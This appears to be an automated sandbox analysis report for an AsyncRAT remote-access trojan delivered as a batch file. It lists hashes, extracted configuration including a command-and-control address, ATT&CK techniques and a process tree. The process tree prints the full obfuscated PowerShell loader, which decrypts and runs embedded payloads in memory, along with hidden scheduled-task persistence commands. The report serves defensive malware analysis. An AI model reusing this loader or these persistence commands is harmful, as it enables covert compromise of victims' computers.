asyncrat | 14ff4d8940a0742974ca662986e8c421e2b0ee7c4dd3bad42133a06d83ff01e7

Analysis

max time kernel
146s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2024 17:28

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General

Target

skibiditoilet.bat
Size

395KB
MD5

fbcad94ee92cc636d8bba4f642130122
SHA1

e6efade17853c9d8cd4948c066d305ae7eb63f92
SHA256

14ff4d8940a0742974ca662986e8c421e2b0ee7c4dd3bad42133a06d83ff01e7
SHA512

a8aecd98d6ec6ccd40c76878d2f5669cb0260c9717af332adb053c7709a17669dc1d8906dae48081fc8e0f3712b462af013187975951b4b9a618ca1e08319de4
SSDEEP

6144:ZVjmIVN5c/teuyotWSdLVnUUSONjj3CRTPWYMGHGB/CERDTnL98UVzeBy/Dvi:TjVN5c/19koVUwjZYM5B/CER7VCui

Score

10^/10

asyncrat victim execution rat

Malware Config

Extracted

Family

asyncrat

Botnet

Victim

193.161.193.99:36700

Attributes

delay
1
install
true
install_file
sysvlrhp.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/1528-58-0x000002E2F1C80000-0x000002E2F1C96000-memory.dmp	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4888	powershell.exe
3584	powershell.exe
1528	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
2224	sysvlrhp.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\sysvlrhp	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1100	timeout.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00F9831D2BD"	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1444	schtasks.exe

Suspicious behavior: EnumeratesProcesses 56 IoCs

pid	Process
4888	powershell.exe
4888	powershell.exe
3584	powershell.exe
3584	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
2224	sysvlrhp.exe
2224	sysvlrhp.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeDebugPrivilege	3584	powershell.exe
Token: SeIncreaseQuotaPrivilege	3584	powershell.exe
Token: SeSecurityPrivilege	3584	powershell.exe
Token: SeTakeOwnershipPrivilege	3584	powershell.exe
Token: SeLoadDriverPrivilege	3584	powershell.exe
Token: SeSystemProfilePrivilege	3584	powershell.exe
Token: SeSystemtimePrivilege	3584	powershell.exe
Token: SeProfSingleProcessPrivilege	3584	powershell.exe
Token: SeIncBasePriorityPrivilege	3584	powershell.exe
Token: SeCreatePagefilePrivilege	3584	powershell.exe
Token: SeBackupPrivilege	3584	powershell.exe
Token: SeRestorePrivilege	3584	powershell.exe
Token: SeShutdownPrivilege	3584	powershell.exe
Token: SeDebugPrivilege	3584	powershell.exe
Token: SeSystemEnvironmentPrivilege	3584	powershell.exe
Token: SeRemoteShutdownPrivilege	3584	powershell.exe
Token: SeUndockPrivilege	3584	powershell.exe
Token: SeManageVolumePrivilege	3584	powershell.exe
Token: 33	3584	powershell.exe
Token: 34	3584	powershell.exe
Token: 35	3584	powershell.exe
Token: 36	3584	powershell.exe
Token: SeIncreaseQuotaPrivilege	3584	powershell.exe
Token: SeSecurityPrivilege	3584	powershell.exe
Token: SeTakeOwnershipPrivilege	3584	powershell.exe
Token: SeLoadDriverPrivilege	3584	powershell.exe
Token: SeSystemProfilePrivilege	3584	powershell.exe
Token: SeSystemtimePrivilege	3584	powershell.exe
Token: SeProfSingleProcessPrivilege	3584	powershell.exe
Token: SeIncBasePriorityPrivilege	3584	powershell.exe
Token: SeCreatePagefilePrivilege	3584	powershell.exe
Token: SeBackupPrivilege	3584	powershell.exe
Token: SeRestorePrivilege	3584	powershell.exe
Token: SeShutdownPrivilege	3584	powershell.exe
Token: SeDebugPrivilege	3584	powershell.exe
Token: SeSystemEnvironmentPrivilege	3584	powershell.exe
Token: SeRemoteShutdownPrivilege	3584	powershell.exe
Token: SeUndockPrivilege	3584	powershell.exe
Token: SeManageVolumePrivilege	3584	powershell.exe
Token: 33	3584	powershell.exe
Token: 34	3584	powershell.exe
Token: 35	3584	powershell.exe
Token: 36	3584	powershell.exe
Token: SeIncreaseQuotaPrivilege	3584	powershell.exe
Token: SeSecurityPrivilege	3584	powershell.exe
Token: SeTakeOwnershipPrivilege	3584	powershell.exe
Token: SeLoadDriverPrivilege	3584	powershell.exe
Token: SeSystemProfilePrivilege	3584	powershell.exe
Token: SeSystemtimePrivilege	3584	powershell.exe
Token: SeProfSingleProcessPrivilege	3584	powershell.exe
Token: SeIncBasePriorityPrivilege	3584	powershell.exe
Token: SeCreatePagefilePrivilege	3584	powershell.exe
Token: SeBackupPrivilege	3584	powershell.exe
Token: SeRestorePrivilege	3584	powershell.exe
Token: SeShutdownPrivilege	3584	powershell.exe
Token: SeDebugPrivilege	3584	powershell.exe
Token: SeSystemEnvironmentPrivilege	3584	powershell.exe
Token: SeRemoteShutdownPrivilege	3584	powershell.exe
Token: SeUndockPrivilege	3584	powershell.exe
Token: SeManageVolumePrivilege	3584	powershell.exe
Token: 33	3584	powershell.exe
Token: 34	3584	powershell.exe
Token: 35	3584	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5096 wrote to memory of 3220	5096	cmd.exe	83
PID 5096 wrote to memory of 3220	5096	cmd.exe	83
PID 5096 wrote to memory of 4888	5096	cmd.exe	84
PID 5096 wrote to memory of 4888	5096	cmd.exe	84
PID 4888 wrote to memory of 3584	4888	powershell.exe	87
PID 4888 wrote to memory of 3584	4888	powershell.exe	87
PID 4888 wrote to memory of 812	4888	powershell.exe	91
PID 4888 wrote to memory of 812	4888	powershell.exe	91
PID 812 wrote to memory of 2060	812	WScript.exe	92
PID 812 wrote to memory of 2060	812	WScript.exe	92
PID 2060 wrote to memory of 1032	2060	cmd.exe	94
PID 2060 wrote to memory of 1032	2060	cmd.exe	94
PID 2060 wrote to memory of 1528	2060	cmd.exe	95
PID 2060 wrote to memory of 1528	2060	cmd.exe	95
PID 1528 wrote to memory of 3540	1528	powershell.exe	56
PID 1528 wrote to memory of 1176	1528	powershell.exe	19
PID 1528 wrote to memory of 2152	1528	powershell.exe	39
PID 1528 wrote to memory of 1952	1528	powershell.exe	34
PID 1528 wrote to memory of 1552	1528	powershell.exe	27
PID 1528 wrote to memory of 960	1528	powershell.exe	12
PID 1528 wrote to memory of 1944	1528	powershell.exe	33
PID 1528 wrote to memory of 2140	1528	powershell.exe	38
PID 1528 wrote to memory of 760	1528	powershell.exe	14
PID 1528 wrote to memory of 2296	1528	powershell.exe	89
PID 1528 wrote to memory of 1336	1528	powershell.exe	22
PID 1528 wrote to memory of 740	1528	powershell.exe	15
PID 1528 wrote to memory of 2720	1528	powershell.exe	69
PID 1528 wrote to memory of 2700	1528	powershell.exe	46
PID 1528 wrote to memory of 2340	1528	powershell.exe	67
PID 1528 wrote to memory of 1312	1528	powershell.exe	21
PID 1528 wrote to memory of 1508	1528	powershell.exe	36
PID 1528 wrote to memory of 1704	1528	powershell.exe	30
PID 1528 wrote to memory of 3672	1528	powershell.exe	57
PID 1528 wrote to memory of 908	1528	powershell.exe	11
PID 1528 wrote to memory of 1452	1528	powershell.exe	25
PID 1528 wrote to memory of 2284	1528	powershell.exe	41
PID 1528 wrote to memory of 2676	1528	powershell.exe	72
PID 1528 wrote to memory of 1688	1528	powershell.exe	29
PID 1528 wrote to memory of 1156	1528	powershell.exe	18
PID 1528 wrote to memory of 1488	1528	powershell.exe	26
PID 1528 wrote to memory of 1684	1528	powershell.exe	74
PID 1528 wrote to memory of 2852	1528	powershell.exe	52
PID 1528 wrote to memory of 4224	1528	powershell.exe	65
PID 1528 wrote to memory of 4780	1528	powershell.exe	68
PID 1528 wrote to memory of 3432	1528	powershell.exe	55
PID 1528 wrote to memory of 2840	1528	powershell.exe	51
PID 1528 wrote to memory of 804	1528	powershell.exe	10
PID 1528 wrote to memory of 1060	1528	powershell.exe	17
PID 1528 wrote to memory of 2824	1528	powershell.exe	50
PID 1528 wrote to memory of 64	1528	powershell.exe	16
PID 1528 wrote to memory of 1428	1528	powershell.exe	24
PID 1528 wrote to memory of 2416	1528	powershell.exe	43
PID 1528 wrote to memory of 2408	1528	powershell.exe	42
PID 1528 wrote to memory of 1816	1528	powershell.exe	32
PID 1528 wrote to memory of 2208	1528	powershell.exe	40
PID 1528 wrote to memory of 1808	1528	powershell.exe	31
PID 1528 wrote to memory of 2788	1528	powershell.exe	48
PID 1528 wrote to memory of 1592	1528	powershell.exe	28
PID 1528 wrote to memory of 2576	1528	powershell.exe	45
PID 1528 wrote to memory of 1192	1528	powershell.exe	20
PID 1528 wrote to memory of 1388	1528	powershell.exe	23
PID 1528 wrote to memory of 1976	1528	powershell.exe	35
PID 804 wrote to memory of 4404	804	svchost.exe	98
PID 804 wrote to memory of 4404	804	svchost.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Suspicious use of WriteProcessMemory
PID:804
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:4404
- C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
  C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
  2⤵
  PID:5068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:64

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1156

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1428

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1944

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2152

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2208

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2824

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3432

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\skibiditoilet.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('izPfV11HfqMvi1lIFXzMNUJXr5RyKqW+SGrEDG8GF3A='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dS+E0kIPSP6vVymeMj9P5A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ldSZb=New-Object System.IO.MemoryStream(,$param_var); $oriEw=New-Object System.IO.MemoryStream; $QUSyd=New-Object System.IO.Compression.GZipStream($ldSZb, [IO.Compression.CompressionMode]::Decompress); $QUSyd.CopyTo($oriEw); $QUSyd.Dispose(); $ldSZb.Dispose(); $oriEw.Dispose(); $oriEw.ToArray();}function execute_function($param_var,$param2_var){ $QWeoB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DDVCK=$QWeoB.EntryPoint; $DDVCK.Invoke($null, $param2_var);}$FyUxZ = 'C:\Users\Admin\AppData\Local\Temp\skibiditoilet.bat';$host.UI.RawUI.WindowTitle = $FyUxZ;$JhzTL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FyUxZ).Split([Environment]::NewLine);foreach ($kGcTn in $JhzTL) { if ($kGcTn.StartsWith('ZXAGlRuoMrnYZUvTYuCb')) { $GmyZF=$kGcTn.Substring(20); break; }}$payloads_var=[string[]]$GmyZF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_676_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_676.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3584
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_676.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:812
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_676.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2060
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('izPfV11HfqMvi1lIFXzMNUJXr5RyKqW+SGrEDG8GF3A='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dS+E0kIPSP6vVymeMj9P5A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ldSZb=New-Object System.IO.MemoryStream(,$param_var); $oriEw=New-Object System.IO.MemoryStream; $QUSyd=New-Object System.IO.Compression.GZipStream($ldSZb, [IO.Compression.CompressionMode]::Decompress); $QUSyd.CopyTo($oriEw); $QUSyd.Dispose(); $ldSZb.Dispose(); $oriEw.Dispose(); $oriEw.ToArray();}function execute_function($param_var,$param2_var){ $QWeoB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DDVCK=$QWeoB.EntryPoint; $DDVCK.Invoke($null, $param2_var);}$FyUxZ = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_676.bat';$host.UI.RawUI.WindowTitle = $FyUxZ;$JhzTL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FyUxZ).Split([Environment]::NewLine);foreach ($kGcTn in $JhzTL) { if ($kGcTn.StartsWith('ZXAGlRuoMrnYZUvTYuCb')) { $GmyZF=$kGcTn.Substring(20); break; }}$payloads_var=[string[]]$GmyZF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:1032
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1528
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "sysvlrhp" /tr '"C:\Users\Admin\AppData\Roaming\sysvlrhp.exe"' & exit
        7⤵
        
        PID:4968
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "sysvlrhp" /tr '"C:\Users\Admin\AppData\Roaming\sysvlrhp.exe"'
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9F4D.tmp.bat""
        7⤵
        
        PID:2496
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        8⤵
        Delays execution with timeout.exe
        
        PID:1100
        
        C:\Users\Admin\AppData\Roaming\sysvlrhp.exe
        
        "C:\Users\Admin\AppData\Roaming\sysvlrhp.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
d6d8e07bd51a65d14d091737617cb212

SHA1
245ba129e5c376a071c5fefaa515ee4ec670e04c

SHA256
fe06cf507eae9429810b549128cbe8f98cdd1142f013e15d313e14b57e2a1ba5

SHA512
fd37672be18110e41bb5321a7cf15e4128f088908d3db0cb88903e3965d5a56254796a22b70bb0fc1e30d14e52ab6ad634823eb25c1b39221789dc0f4c8abbbd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hpuqoteu.kei.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
